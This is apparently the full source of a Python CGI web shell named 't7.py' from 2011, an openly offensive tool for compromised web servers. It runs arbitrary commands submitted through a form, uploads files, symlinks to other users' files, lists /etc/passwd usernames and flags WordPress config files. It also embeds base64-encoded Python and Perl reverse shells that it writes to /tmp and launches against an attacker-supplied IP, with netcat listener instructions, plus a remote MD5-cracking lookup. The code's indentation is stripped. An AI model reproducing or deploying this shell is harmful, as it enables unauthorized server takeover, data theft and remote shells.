#!/usr/bin/env python
#!C:\Python27\python.exe -u
#!c:\Python25\python.exe
#!c:\Python26\python.exe

#----------------------------------------------------->
# TName : t7.py
# Programmer : t7~ < KSA > <-+-> < love.you@h8tmail.com > <-+-> < T7TP@hotmail.com >
# Version : 1
# MyBlog : http:\\www.sec7urity.com >> Soon
# Date : Wed Jul 6 19:55:38 2011
#----------------------------------------------------->
#--------------------------
# Add This in .htaccess file to run pyhton any dirctory
# Options +ExecCGI
# AddHandler cgi-script .py
#--------------------------

import cgi
import cgitb
cgitb.enable()
import sys
import os
import subprocess
import platform
import base64
import urllib
from ftplib import FTP
#
un=""
name='VDd+'
for m in platform.uname():
un+=m
cmd = subprocess.Popen('id',shell=True,stdin = subprocess.PIPE, stdout = subprocess.PIPE,stderr=subprocess.STDOUT, close_fds=True)
id = cmd.stdout.read()
if os.environ.has_key('SERVER_SOFTWARE'):
soft = os.environ['SERVER_SOFTWARE']


md5_d = """
IyEvdXNyL2Jpbi9weXRob24KCiMgUmVtb3RlIG1kNSBvbiBzaGVsbC1zdG9ybS5vcmcKCmltcG9ydCBodHRwbGliCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN5cwppbXBvcnQgdXJsbGliCgoJCnRyeToKCWhvc3QgPSBzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgic2hlbGwtc3Rvcm0ub3JnIikKCWNvbiA9IGh0dHBsaWIuSFRUUENvbm5lY3Rpb24oaG9zdCwgODApCgkKCXBhcmFtcyA9IHVybGxpYi51cmxlbmNvZGUoeydtZDUnOiBzeXMuYXJndlsyXX0pCgloZWFkZXJzID0geyJDb250ZW50LXR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiwgIkFjY2VwdCI6ICJ0ZXh0L3BsYWluIn0KCQkKCWlmIHN5cy5hcmd2WzFdID09ICItZCI6CgkJY29uLnJlcXVlc3QoJ1BPU1QnLCAnL21kNS9yZW1vdGUvZGVjcnlwdC5waHAnLCBwYXJhbXMsIGhlYWRlcnMpCQoJCglyZXNwb25zZSA9IGNvbi5nZXRyZXNwb25zZSgpCglkYXRhID0gcmVzcG9uc2UucmVhZCgpCgljb24uY2xvc2UoKQoJCglwcmludCAnPGZvbnQgY29sb3I9JyM4RjAwMDAnPk1ENTwvZm9udD4gOiAlcyAnJWRhdGEKCmV4Y2VwdDoKCXByaW50ICc8YnIgLz4gRXJyb3IgQ29ubmVjdGlvbicK"""

back_connect_python ="""
aW1wb3J0IHNvY2tldCwgb3MsIHN5cyAsc3VicHJvY2VzcwpIT1NUID0gc3lzLmFyZ3ZbMV0KUE9SVCA9IGludChzeXMuYXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29ubmVjdCgoSE9TVCxQT1JUKSkKZGVmIGNtZChjKToKICAgIHAgPSBzdWJwcm9jZXNzLlBvcGVuKGMsIHNoZWxsPVRydWUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuU1RET1VULCBjbG9zZV9mZHM9VHJ1ZSkKICAgIG0gPSBwLnN0ZG91dC5yZWFkKCkKICAgIHJldHVybiBtCgp0cnk6CiAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDApCiAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDEpCiAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICBzb2NrLnNlbmQoY21kKCdjbGVhcicpKQogICAgc29jay5zZW5kKCctLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFVuYW1lIC1hIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nKQogICAgc29jay5zZW5kKGNtZCgndW5hbWUgLWEnKSkKICAgIHNvY2suc2VuZCgnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIGlkIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJykKICAgIHNvY2suc2VuZChjbWQoJ2lkJykpCiAgICBzb2NrLnNlbmQoJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLScpCiAgICBvcy5zeXN0ZW0oU0hFTEwpCmV4Y2VwdCBFeGNlcHRpb24sZToKICAgIHByaW50IGUKc29jay5jbG9zZSgpCg=="""
#
back_connect_perl= """
IyEvdXNyL2Jpbi9wZXJsCnVzZSBJTzo6U29ja2V0Owokc3lzdGVtICAgID0gJy9iaW4vc2gnOwokQVJHQz1AQVJHVjsKaWYgKCRBUkdDIT0yKSB7CiAgIHByaW50ICJVc2FnZTogJDAgW0hvc3RdIFtQb3J0XSAKCiI7CiAgIGRpZSAiRXg6ICQwIDEyNy4wLjAuMSAyMTIxIAoiOwp9CnVzZSBTb2NrZXQ7CnVzZSBGaWxlSGFuZGxlOwpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0CiI7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkQVJHVlsxXSwgaW5ldF9hdG9uKCRBUkdWWzBdKSkpIG9yIGRpZSBwcmludCAiWy1dIFVuYWJsZSB0byBDb25uZWN0IEhvc3QKIjsKU09DS0VULT5hdXRvZmx1c2goKTsKb3BlbihTVERJTiwgIj4mU09DS0VUIik7Cm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOwpvcGVuKFNUREVSUiwiPiZTT0NLRVQiKTsKcHJpbnQgIi0tPT0gQ29ubmVjdEJhY2sgQmFja2Rvb3IgdnMgMS4wIGJ5IExvckQgb2YgSVJBTiBIQUNLRVJTIFNBQk9UQUdFID09LS0gIAoKIjsKc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsKZWNobyAtLT09VXNlcmluZm89PS0tIDsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tIDsgcHdkO2VjaG87IGVjaG8gLS09PVNoZWxsPT0tLSAiKTsKc3lzdGVtKCRzeXN0ZW0pOwoK"""
#
#

print'Content-type: text/html\n\n'#header

def html():
print """
Home<title>Home</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style type='text/css'>
body{
font-family:'Open Sans Condensed',sans-serif;
}



.dir{
background-color:#000;
color:#fff;
border-top:1px solid #000;
border-left:1px solid #000;
border-right:1px solid #000;
border-bottom:1px solid #171717;
font-size:14px;
outline: none;
}

.q{
font-size:17px;
}
.sub{
-webkit-border-radius:3px;
-moz-border-radius:3px;
padding:2px 25px;
border:1px inset #737373;
BACKGROUND-COLOR: #101010;
fon????????????????t: 8pt Verdana;
color: #fff;
}
.c{
-webkit-border-radius:3px;
-moz-border-radius:3px;
padding-top: 3px;
border:1px inset #737373;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
table tr th{
background-color:#191919;
border-bottom:1px inset #333333;
border-left:2px solid #000;
padding: 2px 10px;
font-weight: normal;
font-size:12px;
}
table tr th:hover{
border-bottom:1px solid red;
}
table tr .m{
text-indent:25px;
padding:10px 300px 10px 16px;
border-bottom:1px solid #333;
}
table tr .m:hover{
text-shadow:0px 0px 10px #fff;
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;

}
.pe{
background-color:#000;
color:#fff;
border:1px solid #000;
}
.pe:hover{
background-color:#101010;
border:1px solid #101010;
}
.t7{
border-right:1px solid #333;
}
.m{
padding:5px 10px;
}
</style>


<body bgcolor='#000' text='white'>
<table cellpadding='5'>

<td class='t7' valign='center'> <font size='7' color='#333333' > %s</font>"""%base64.b64decode(name)+"""
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""




<input type='submit' name='t7' class= 'mu' value='Home' / >
<input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
<input type='submit' name='t7' class='mu' value='Backconnect' / >
<input type='submit' name='t7' class= 'mu' value='Users' / >
<input type='submit' name='t7' class= 'mu' value='Encoder' / >\
<input type='submit' name='t7' class= 'mu' value='About' / >

<input type='submit' name='t7' class= 'mu' value='Delete' / >
<br /><br />


"""+\
"<font siz='10px' color='#272727'>Path: </font><input type='text' name='dir' size=82 class='dir' value="+p()+\
" /><br /><br /> Run command ~$ <input type='text' name='cmd' class='c' size=50 />"+"""
<input type='submit' class='sub' /><br/>

<table cellspacing=0 cellpadding=1 >
"""


# BackConnect
#
def backconnect():
print"""
BackConnect<title>BackConnect</title>
<style >
body{
font-family:Tahoma,Verdana,Arial
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;

}
.e{
-webkit-border-radius:3px;
-moz-border-radius:3px;
padding:1px 10px;
margin: 3px;
border:1px inset #737373;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;

}
select{
background-color:#101010;

}
.con{
background-color:#101010;
border:1px solid #444;
padding: 1px 22px;
border-radius:2px;
color:#fff;
}
.t7{
border-right:1px solid #333;
}

</style>


<body bgcolor='#000' text='white'>
<table cellpadding='5'>

<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""



<input type='submit' name='t7' class= 'mu' value='Home' / >
<input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
<input type='submit' name='t7' class='mu' value='Backconnect' / >
<input type='submit' name='t7' class= 'mu' value='Users' / >
<input type='submit' name='t7' class= 'mu' value='Encoder' / >
<input type='submit' name='t7' class= 'mu' value='About' / >

<input type='submit' name='t7' class= 'mu' value='Delete' / >
<br /><br />



IP: &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type='text' size='30' name='ip' class='e'/><br />
Port: &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type='text' size='30' name='port' class='e'/><br />
&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<select name='use'>
<option value='py'>Using Python</option>
<option value='pe'>Using Perl</option>
</select>
<input type='submit' value='Connect' name='con' class='con' />
<br /> <br />"""



# Symlink
#
def sym():
print"""
Symlink<title>Symlink</title>
<style >
body{
font-family:Tahoma,Verdana,Arial
}
#sy{
background-color:#0C0C0C;

-moz-border-radius:12px;
-webkit-border-radius:12px;
}
.e{
background-color:#101010;
color:#B9B5B5;
border:1px solid #090909;
}
.e:focus{
background-color:#5D5D5D;
color:#000;
border:1px ridge #000;
}
.s{
background-color:#171717;
color:#000;
border:1px solid #101010;
padding:2px 10px;
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;

}
.t7{
border-right:1px solid #333;
}

</style>


<body bgcolor='#000' text='white'>
<table cellpadding='5'>

<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""




<input type='submit' name='t7' class= 'mu' value='Home' / >
<input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
<input type='submit' name='t7' class='mu' value='Backconnect' / >
<input type='submit' name='t7' class= 'mu' value='Users' / >
<input type='submit' name='t7' class= 'mu' value='Encoder' / >
<input type='submit' name='t7' class= 'mu' value='About' / >

<input type='submit' name='t7' class= 'mu' value='Delete' / >

<br /><br />



<table wdith='100%' cellpadding='10' cellspacing='0' align='center' id='sy'>

<td align='center'>

<font color=#4A4A4A>== Sym1ink To)ol ==</font>





<td align='center'> <input type='text' name='ff' class='e' size='70'>"""+\
"<br/><input type='text' name='f1' value='%s'class='e' size='59'>"%os.getcwd()+"""<input type='submit' value='Submit' name='get' class='s'><br /><br />



"""
try:
l = os.path.basename(form.getvalue('f1'))
if os.path.exists(l): # check
os.remove(l) # remove if this file is here
try:
if os.path.exists(form.getvalue('ff')):
os.symlink(form.getvalue('ff'),form.getvalue('f1')) # create symlink to f1 value

print "
<br /> <a href='%s' target='_blank' title='):' style='text-decoration:none;color:#fff;' > Click Here (:</a>
"%l
else:
print "<br /> [-] <font color=red >"+form.getvalue('ff')+'</font> Make sure the file path'
except:
pass
except:
pass

# Upload File
#
def upload():
Upload File print """<title>Upload File</title><style>
body{
font-family:Tahoma,Verdana,Arial;
background-color:#000;
color:#fff;
}

.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;

}
.dir{
background-color:#000;
color:#fff;
border-top:1px solid #000;
border-left:1px solid #000;
border-right:1px solid #000;
border-bottom:1px solid #171717;
text-indent:6px;
font-size:13px;
}
.re{
background-color:#101010;
}
.he tr td{
text-indent:10px;
margin: 30px;

}
.he{
border:1px solid #101010;
margin: 10px;
}
.fi{
background-color: #141414;
border: 1px solid #444;
color:#fff;
padding:0px 15px;
}
.t7{
border-right:1px solid #333;
}

</style>


<body bgcolor='#000' text='white'>
<table cellpadding='5' >

<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""




<input type='submit' name='t7' class= 'mu' value='Home' / >
<input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
<input type='submit' name='t7' class='mu' value='Backconnect' / >
<input type='submit' name='t7' class= 'mu' value='Users' / >
<input type='submit' name='t7' class= 'mu' value='Encoder' / >
<input type='submit' name='t7' class= 'mu' value='About' / >

<input type='submit' name='t7' class= 'mu' value='Delete' / >

<br /><br />



<table class='he'>

<th valign='center' class='re'><font color='#444' size='2px'> Upload from computer ...</font></th>



Upload To :"""+"<input type='text' name='to' size=82 class='dir' value='%s' />"%os.getcwd()+"""
File: <br /> <br />





"""

def users():
print """
Users <title>Users</title><style>
body{
font-family:Tahoma,Verdana,Arial;
background-color:#000;
color:#fff;
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;

}
textarea{
background-color:#101010;
border:1px solid #101010;
border-radius:8px;
color:#fff;
}
.go{
background-color:#101010;
border:1px solid #444;
padding: 1px 22px;
border-radius:2px;
color:#fff;

}
.me{
padding:3px 0px;
border:1px solid #272727;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;

}
.t7{
border-right:1px solid #333;
}

</style>


<body bgcolor='#000' text='white'>
<table cellpadding='5'>

<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""




<input type='submit' name='t7' class= 'mu' value='Home' / >
<input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
<input type='submit' name='t7' class='mu' value='Backconnect' / >
<input type='submit' name='t7' class= 'mu' value='Users' / >
<input type='submit' name='t7' class= 'mu' value='Encoder' / >
<input type='submit' name='t7' class= 'mu' value='About' / >

<input type='submit' name='t7' class= 'mu' value='Delete' / >

<br /><br />



~:/etc/passwd<br /><textarea rows='30' cols='30' name='user' >"""
try:
m = open('/etc/passwd','r') # read /etc/passwd file
except:
pass
tt = []
for line in m.readlines():
r = line.find(':')
t = line[r:]
l=line.split(t)
tt.append(l[0])
for i in tt:
print i
m.close()

print """</textarea>

&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp
"""
#
#

def encoderh():
print"""
Encoder ...!<title>Encoder ...!</title>
<style >
body{
font-family:Tahoma,Verdana,Arial;

}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;
}
textarea{
background-color:#101010;
-webkit-border-radius:5px;
-moz-border-radius:5px;
border:1px solid #000;
color:#fff;
}
.enc{
background-color:#101010;
border:1px solid #000;
padding: 1px 200;
border-radius:2px;
color:#fff;
}
.t7{
border-right:1px solid #333;
}

</style>


<body bgcolor='#000' text='white'>
<table cellpadding='5'>

<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""



<input type='submit' name='t7' class= 'mu' value='Home' / >
<input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
<input type='submit' name='t7' class='mu' value='Backconnect' / >
<input type='submit' name='t7' class= 'mu' value='Users' / >
<input type='submit' name='t7' class= 'mu' value='Encoder' / >
<input type='submit' name='t7' class= 'mu' value='About' / >

<input type='submit' name='t7' class= 'mu' value='Delete' / >

<br /><br />




<textarea cols='50' rows='6' name='new'>
</textarea><br />
<input type='submit' value='En' name='enc' class='enc' /><br />
<input type='submit' value='De' name='de' class='enc' />
<br /> <br />"""


#
def about():
Ab0ut print """<title>Ab0ut</title>
<style >
body{
font-family:Tahoma,Verdana,Arial
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;

}
.box{
background-color:rgba(255,255,255,0.05);
width:26%;
height:55%;
margin:5% 33%;
padding:50px 0px 0px 15px;
-webkit-border-top-left-radius:30px;
-webkit-border-bottom-right-radius:20px;
-webkit-border-top-right-radius:2px;
-webkit-border-bottom-left-radius:2px;

color:444444;
}
.box span{
border-bottom:0px dashed #333333;
padding:0px 30px 0px 40px;
-webkit-box-shadow: 5px 0px 80px #444;

}
.t7{
border-right:1px solid #333;
}

</style>


<body bgcolor='#000' text='white'>
<table cellpadding='5'>

<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""



<input type='submit' name='t7' class= 'mu' value='Home' / >
<input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
<input type='submit' name='t7' class='mu' value='Backconnect' / >
<input type='submit' name='t7' class= 'mu' value='Users' / >
<input type='submit' name='t7' class= 'mu' value='Encoder' / >
<input type='submit' name='t7' class= 'mu' value='About' / >

<input type='submit' name='t7' class= 'mu' value='Delete' / >
<br /><br />

<div class='box'>
Programmed : <span>&nbsp&nbsp&nbsp&nbsp T7~ &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp</span><br /><br />
Team Name : <span>&nbsp&nbsp security7&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp</span><br /><br />
Email : <span>&nbsp&nbsplove.you@h<font color='7A0B0B'>8</font>tmail.com</span><br /> <br />
Blog : <span>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspSo0on&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp</span></br /><br />
From : <span> &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp My Heart &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp</span><br /><br />
To : <span>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspwho Live in My Heart&nbsp</span><br /><br />
Msg : <span>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspilove You For Ever&nbsp&nbsp&nbsp&nbsp&nbsp</span><br /><br / >
Gift to : <span>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&hearts;&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp</span>
</span><br /><br />
</div>
"""


def encoder(en):
try:
import hashlib # mybe this Computer Not Install This Moudel
if form.has_key('enc'):
sha1 = hashlib.sha1(en)
sha224 = hashlib.sha224(en)
sha256 = hashlib.sha256(en)
sha384 = hashlib.sha384(en)
sha512 = hashlib.sha512(en)
md5 = hashlib.md5(en)
b64 = base64.b64encode(en)
b16 = base64.b16encode(en)
b32 = base64.b32encode(en)
print "<br /> <pre>"
print " <font color='#8F0000'>Sha1</font> : %s"%sha1.hexdigest()
print " <font color='#8F0000'>Sha224</font> : %s"%sha224.hexdigest()
print " <font color='#8F0000'>Sha256</font> : %s"%sha256.hexdigest()
print " <font color='#8F0000'>Sha384</font> : %s"%sha384.hexdigest()
print " <font color='#8F0000'>Sha512</font> : %s"%sha512.hexdigest()
print " <font color='#8F0000'>MD5</font> : %s"%md5.hexdigest()
print " <font color='#8F0000'>Base64</font> : %s"%b64
print " <font color='#8F0000'>Base16</font> : %s"%b16
print " <font color='#8F0000'>Base32</font> : %s"%b32
print "</pre>"
elif form.has_key('de'):
print "<br /> <pre>"
print " <font color='#8F0000'>Sha1</font> : "
print " <font color='#8F0000'>Sha224</font> : "
print " <font color='#8F0000'>Sha256</font> : "
print " <font color='#8F0000'>Sha384</font> : "
print " <font color='#8F0000'>Sha512</font> : "
try:
print " <font color='#8F0000'>Base64</font> : %s"%base64.b64decode(en)
except:
print " <font color='#8F0000'>Base64</font> :"
try:
print " <font color='#8F0000'>Base16</font> : %s"%base64.b16decode(en)
except:
print " <font color='#8F0000'>Base16</font> :"
try:
print " <font color='#8F0000'>Base32</font> : %s"%base64.b32decode(en)
except:
print " <font color='#8F0000'>Base32</font> :"
print "</pre>"
except ImportError:
print "[*] install hashlib Modaul "
except:
print "Write Some Words in the input"

#

def up():
if platform.system() =='win32':
try: # Windows needs stdio set for binary mode.
import msvcrt
msvcrt.setmode (0, os.O_BINARY) # stdin = 0
msvcrt.setmode (1, os.O_BINARY) # stdout = 1
except ImportError:
pass
try:
fi = form['f']
if fi.filename:
fn = os.path.basename(fi.filename)
if form.has_key('to'):
try:
to = form.getvalue('to')
if to[-1] == '/':
open(to+fn, 'wb').write(fi.file.read())
msg = 'The file [' + fn + '] was uploaded successfully '
else:
open(to+'/'+fn, 'wb').write(fi.file.read())
msg = 'The file [' + fn + '] was uploaded successfully '
except:
print "[<font color='red'>~</font>] Permission denied ..."
else:
print "Upload T0 (: Erath (:"
else:
msg = 'No file was uploaded'
print " <p>%s</p>" % (msg)
except:
pass
#
#
def connect():
fl = '/tmp/'+'b'
ip = form.getvalue('ip')
port = form.getvalue('port')
if form.has_key('con'):
if not (form.has_key('ip') and form.has_key('port')):
print "<br /> YOu Must Enter Ip And Port"
else:
if form.getvalue('use') == 'py':
try:
open(fl,'w').write(base64.b64decode(back_connect_python))
p = subprocess.Popen(["python %s %s %s" % (fl,ip,int(port))],shell=True)
print "Use NetCat ....! <br /> <br />nc -l -n -v -p %s <br /> &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp OR"%port
print "<br /> nc -lvp %s"%port
except:
print"<br /> in port input You must enter number not string ..."
else:
try:
open(fl,'w').write(base64.b64decode(back_connect_perl))
p = subprocess.Popen(["perl %s %s %s" % (fl,ip,int(port))],shell=True)
print "<pre>Use NetCat ....! <br /> <br />nc -l -n -v -p %s <br /> &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp OR"%port
print "<br /> nc -lvp %s </pre>"%port
except:
print"<br /> in port input You must enter number not string ..."




#

def ls():
path = os.getcwd()
print "<th>Name</th>"
for n in os.listdir(path):
if os.path.isdir(n):
print """<tr > <td class='m' style="background:url(http://sec7urity.files.wordpress.com/2011/12/w.png) no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='#cccccc'>%s</font> """%(n)
print ""
elif os.path.isfile(n) and n[-3:].lower() !='png' and n[-3:].lower() !='jpg':
if n in ['config.php','wp-config.php']:
print """<tr > <td class='m' style="background:url(http://sec7urity.files.wordpress.com/2011/12/ff.png) no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='red'> %s</font> """%(n)
print ""
else:
print """<tr > <td class='m' style="background:url(http://sec7urity.files.wordpress.com/2011/12/ff.png) no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='#cccccc'> %s</font> """%(n)
print ""
elif os.path.islink(n):
print "<tr > <td class='m' width=400><b/><font size='2' color='#cccccc' >%s</font> "%n
print ""
elif n[-3:].lower() =='png' or n[-3:] =='jpg':
print """<tr > <td class='m' style="background:url(http://sec7urity.files.wordpress.com/2011/12/m.png) no-repeat 5px center;background-size:28px;" width=400><b/><font size='2' color='#cccccc'> %s</font> """%(n)
print ""
else:
print "<tr > <td class='m' width=400><b/><font size='2' color='#cccccc'>%s</font> "%n
print ""
print "
"
print ""

#

def fo():
if form.has_key('cmd'):
m = subprocess.Popen(form.getvalue('cmd'),shell=True,stdin = subprocess.PIPE,
stdout = subprocess.PIPE,stderr=subprocess.STDOUT, close_fds=True)
i = m.stdout.read()
print"<font size='2' color='#4C4C4C'>Executed command : %s</font> <br /><pre class='q'> %s </pre>"%(form.getvalue('cmd'),i)

else:
ls()

#
def p():
if form.has_key('dir'):
m = form.getvalue('dir')
if not (os.path.exists(form.getvalue('dir')) and os.path.isdir(form.getvalue('dir'))):
print 'Make sure you type the correct path'
return form.getvalue('dir')
else:
s =form.getvalue('dir')
os.chdir(s)
return s
else:
return os.getcwd()
ls()

#
if __name__ == '__main__':
try:
word = open('/tmp/user.txt','r')
ws = word.readlines()
except:
pass
form = cgi.FieldStorage()
if form.getvalue('t7')=='Symlink' or form.has_key('get'):
sym()
elif form.getvalue('t7') == 'Upload' or form.has_key('u'):
upload()
up()
elif form.getvalue('t7')=='Users' or form.has_key('go'):
users()

elif form.getvalue('t7')=='Backconnect' or form.has_key('con'):
backconnect()
connect()
elif form.getvalue('t7')=='Encoder' or form.has_key('enc') or form.has_key('de'):
encoderh()
encoder(form.getvalue('new'))
elif form.getvalue('t7')=='About':
about()
elif form.getvalue('t7')=='Delete':
print """<script type='text/javascript'>alert (" << T7~ | Sec7urity \n http://www.sec7urity.wordpress.com");</script>"""
os.chdir(os.getcwd())
os.remove('t7.py')
else:
html()
fo()



#------------------------------------------------------>
# The End Leave TO Ever
#------------------------------------------------------>
# if you want to be great Hacker Do 0ne thing
# Think the gad for every thing give to you